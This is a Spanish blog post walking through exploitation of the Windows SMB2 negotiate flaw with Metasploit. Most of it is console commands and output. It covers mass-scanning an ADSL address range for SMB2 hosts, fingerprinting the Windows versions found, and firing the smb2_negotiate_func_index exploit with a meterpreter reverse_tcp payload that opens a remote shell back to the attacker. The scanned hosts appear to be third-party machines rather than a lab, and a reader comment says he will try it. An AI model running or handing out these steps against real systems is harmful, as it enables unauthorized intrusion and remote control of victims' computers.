Explotando Windows SMB2 a través de Metasploit

Recientemente, salió a la luz un aviso que confirmaba un fallo en la implementación del protocolo SMB2 de Windows que podría permitir a un atacante la ejecución remota de código en las últimas versiones del sistema operativo de Microsoft.

Esta vulnerabilidad, que en un principio se publicó como denegación de servicio, fue corregida en Windows 7 build ~7130 (después de la RC1) aunque los usuarios de Windows Vista y Windows Server 2008 parecen seguir estando en riesgo.

Para facilitarnos la vida ;-), se ha liberado al dominio público código completamente funcional para esta vulnerabilidad a través de Metasploit, elevando la posibilidad de ataques de ejecución de código remoto. Se trata del exploit creado y liberado por Stephen Fewer de Harmony Security. A continuación se muestran una serie de pasos para ejecutarlo a través de Metasploit:

Paso 0:

ejecutar msfconsole.bat

Paso 1 :

escanear los objetivos

msf > use auxiliary/scanner/smb/smb2
msf auxiliary(smb2) > set RHOSTS xx.xx.xx.x-xx.xx.xx.254
RHOSTS =>xx.xx.xx.x-xx.xx.xx.254
msf auxiliary(smb2) > set THREADS 50
THREADS => 50
msf auxiliary(smb2) > run

en el ejemplo, se encontró lo siguiente en el rango ADSL :

[*] xx.xx.xx.x supports SMB 2 [dialect 255.2] and has been online for 285 hours

Paso 2 :

ahora, es necesario chequear la versión del objetivo encontrado (recomendable antes de lanzar el exploit)

msf auxiliary(smb2) > use auxiliary/scanner/smb/version
msf auxiliary(version) > set RHOSTS xx.xx.xx.x
RHOSTS => xx.xx.xx.x
msf auxiliary(version) > run

[*] xx.xx.xx.x is running Windows 7 Ultimate (Build 7100) (language: Unknown)
[*] Auxiliary module execution completed
msf auxiliary(version) > set RHOSTS xx.xx.xx.x
RHOSTS => xx.xx.xx.x
msf auxiliary(version) > run

[*] xx.xx.xx.x is running Windows 7 Ultimate (Build 7229) (language: Unknown)
[*] Auxiliary module execution completed
msf auxiliary(version) > set RHOSTS xx.xx.xx.x
RHOSTS => xx.xx.xx.x
msf auxiliary(version) > run

[*] xx.xx.xx.x is running Windows Vista Home Basic Service Pack 2 (language: Unknown)
[*] Auxiliary module execution completed

como se muestra en los resultados obtenidos, se han encontrado un Windows Vista y dos Windows 7. Recordemos que este exploit funcionará contra Windows Vista Sp1-2 y contra Windows 2008 (no rc2).

Paso 3 :

ahora ya se puede configurar y enviar el exploit

msf auxiliary(version) > use exploit/windows/smb/smb2_negotiate_func_index
msf exploit(smb2_negotiate_func_index) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
set msf exploit(smb2_negotiate_func_index) > set LPORT 5678
LPORT => 5678
msf exploit(smb2_negotiate_func_index) > set LHOST xx.xx.xx.x
LHOST => xx.xx.xx.x
msf exploit(smb2_negotiate_func_index) > set RHOST xx.xx.xx.x
RHOST => xx.xx.xx.x
msf exploit(smb2_negotiate_func_index) > exploit

y por último, se muestra el resultado del exploit en la máquina vulnerable :




2 comentarios :

  1. Leo y leo y vuestras publicaciones nunca terminan. Y cuando releo descubro artículos que se me habían pasado. Indudablemente esto lo tengo que provar. Muchas gracias Hackplayers

    ResponderEliminar